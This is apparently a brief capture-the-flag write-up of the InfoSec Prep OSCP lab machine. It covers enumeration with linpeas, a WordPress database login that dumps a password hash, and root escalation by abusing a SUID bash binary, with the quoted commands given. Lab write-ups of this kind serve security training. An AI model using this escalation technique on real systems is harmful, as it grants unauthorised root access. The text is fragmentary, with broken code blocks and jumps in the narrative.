This box should be easy. This machine was created for the InfoSec Prep Discord Server (https://discord.gg/RRgKaep) as a give way for a 30d voucher to the OSCP Lab, Lab materials, and an exam attempt.

Should be a quick one I guess, let's get to it

```

The homepage just has some instructions about this box AND! This little piece of info

> Oh yea! Almost forgot the only user on this box is "oscp".
>
> A big thank you to Offensive Security for providing the voucher.

This file looks fishy. But let’s run linpeas.sh to get some more info

```
-rw-r--r-- 1 root root 2897 Jul  9  2020 /var/www/html/wp-config.php
define( 'DB_NAME', 'wordpress' );
define( 'DB_USER', 'wordpress' );

```

Huh?

-rwsr-xr-x 1 root root 39K Apr  2  2020 /usr/bin/umount  ⟶
```

But this is useless since I can't use sudo… Don't have a password for the user **oscp** yet

Logged in the database with **mysql -h localhost -u wordpress -p**

```
+----+------------+------------------------------------+-
| ID | user_login | user_pass                          | 
+----+------------+------------------------------------+-
|  1 | admin      | $P$Bx9ohXoCVR5lkKtuQbuWuh2P36Pr1D0 | 
+----+------------+------------------------------------+-
```

Can't crack that… Let's go back to the **bash** with **SUID**

SUID

If the binary has the SUID bit set, it does not drop the elevated privileges and may be abused to access the file system, escalate or maintain privileged access as a SUID backdoor. If it is used to run `sh -p`, omit the `-p` argument on systems like Debian (<= Stretch) that allow the default `sh` shell to run with SUID privileges.

This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.

```
sudo install -m =xs $(which bash) .

./bash -p
```

And… got it!

```
-bash-5.0$ /bin/bash -p
